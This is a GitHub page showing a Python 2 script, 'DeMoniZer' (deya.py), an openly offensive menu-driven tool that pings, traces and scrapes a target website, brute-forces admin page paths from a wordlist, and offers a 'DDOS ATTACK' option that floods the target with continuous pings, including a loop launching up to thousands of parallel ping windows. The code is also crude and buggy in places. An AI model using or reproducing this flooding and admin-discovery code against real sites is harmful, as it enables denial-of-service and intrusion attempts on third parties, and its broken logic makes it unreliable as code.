-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathdeya.py
171 lines (168 loc) · 5.85 KB
/
deya.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
import os
import urllib2
import requests
import sys
from urllib2 import Request, urlopen, URLError, HTTPError
from bs4 import BeautifulSoup
os.system('color e')
logo='''
( ) ) * )
)\ ) ( /( ( ( /( ( ` ( /(
(()/( ( )\()) )\ )\())( )\))( )\())
/(_)) )\ ((_)((((_)( ((_)\ )\ ((_)()\((_)\
(_))_ ((_)__ ((_)\ _ )\ _((_|(_)(_()((_) ((_)
| \| __\ \ / (_)_\(_) \| | __| \/ |/ _ \
| |) | _| \ V / / _ \ | .` | _|| |\/| | (_) |
|___/|___| |_| /_/ \_\|_|\_|___|_| |_|\___/
[~/ WeLcOmE To DeMoniZer Ver 1.0 \~]
[~/ [C] Author : DEYANEMO \~]
[~/ [E] deyanemo@gmail.com \~]
[~/ [i] Al-Salam Alekum wa rahmatu Allah \~]
[~/ [i] Freedom TO SyRiA *** Greetz to All \~]
'''
print logo
if len(sys.argv) > 2 or len(sys.argv) < 2:
print ('$usage : python deya.py ')
userin = raw_input('Website Url must be like (example.com) : ')
elif len(sys.argv) > 1:
userin = sys.argv[1]
elif len(sys.argv) > 1 or len(sys.argv) < 1:
userin = raw_input('Website Url must be like (example.com) : ')
else:
print('Usage : $ deya.py deyanemo.com OR deya.py')
# Functions 0_0
def ipaddress(ur):
print('######################################')
print('Server Ip Address !')
print('######################################')
res = os.system('ping -t -a -l -f -n 1 ' + ur)
print('######################################')
return res
def nslookup(ur):
print('######################################')
print('NSLOOKUP !')
print('######################################')
res = os.system('nslookup -type=mx ' + userin)
print('######################################')
return res
def tracert(ur):
print('######################################')
print(' TRACERT !')
print('######################################')
res = os.system('tracert ' + userin)
print('######################################')
return res
def ddos(ur):
print('######################################')
print(' DDOS ATTACK !')
print('######################################')
res = os.system('ping -t -a -l -f ' + userin)
print('######################################')
return res
def exddos(ur):
print('######################################')
print(' extensive DDOS ATTACK !')
print('######################################')
print('Note : this method will open the amount you give as terminal windows! ')
var = input('How manny attack you would like to Launch ? integer ex(1, 2000, 10000) :')
for i in range(1 , var):
os.system('start ping -t -a -l -f ' + userin)
print('######################################')
def findadmin(url):
# f = open('myfile.txt')
# s = f.readline()
# # i = int(s.strip())
# for line in f:
# check = usrinpt + "/" + line
# r = requests.get(check)
# #s = urllib2.urlopen(check).read()
# if r.status_code == 200 :
# os.system('color e ')
# print ('[!] Found this', line)
# else:
# print(r.status_code)
# # print(s)
f = open('myfile.txt')
s = f.readline()
# i = int(s.strip())
for line in f:
check = usrinpt + "/" + line
response = requests.get(check)
if (response.status_code == 200):
print "d0ne", check
elif (response.status_code == 404):
print "NopE 404"
def options():
print('[0] Exit the script')
print('[1] for ip address')
print('[2] for nslookup')
print('[3] for tracert ')
print('[4] Find admin ')
print('[5] one DDOS ATTACK ')
print('[6] extensive DDOS ATTACK')
print('[7] Web scrapping [crawler] ')
useee = input('choose the following : ')
x = isinstance( useee, int)
if x == True:
if useee == 0 :
exit
if useee == 1 :
ipaddress(userin)
options()
elif useee ==2 :
nslookup(userin)
options()
elif useee ==3 :
tracert(userin)
options()
elif useee ==3 :
tracert(userin)
options()
elif useee ==4 :
findadmin(userin)
options()
elif useee ==5 :
ddos(userin)
options()
elif useee ==6 :
exddos(userin)
options()
elif useee ==7:
webScrapping(userin)
options()
elif useee ==8:
findproblem(userin)
options()
else:
print('Nope try again ')
elif x == False:
print('Please Enter an integer')
def findproblem(ur):
print('#\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\#')
print('Scanning website ', ur)
print('//////////////////////////////////////')
nemo = "https://mxtoolbox.com/domain/" + ur
page = requests.get(nemo)
soup = BeautifulSoup(page.content, 'html.parser')
print('######################################')
print("Result at : " + nemo)
print('######################################')
def webScrapping(ur):
print('#\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\#')
print('Scanning website ', ur)
print('//////////////////////////////////////')
nemo = "http://" + ur
page = requests.get(nemo)
soup = BeautifulSoup(page.content, 'html.parser')
result = soup.find_all('a')
for link in soup.findAll('a'):
href = link.get('href')
print('######################################')
print('[!] : ' + href)
# ##################################################
# THE CORE OF CONTENT :() -_- (o_o) Not Really
#!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
if userin.find('.') > 0:
usrinpt = "http://" + userin
print('Working on : ' + usrinpt )
options()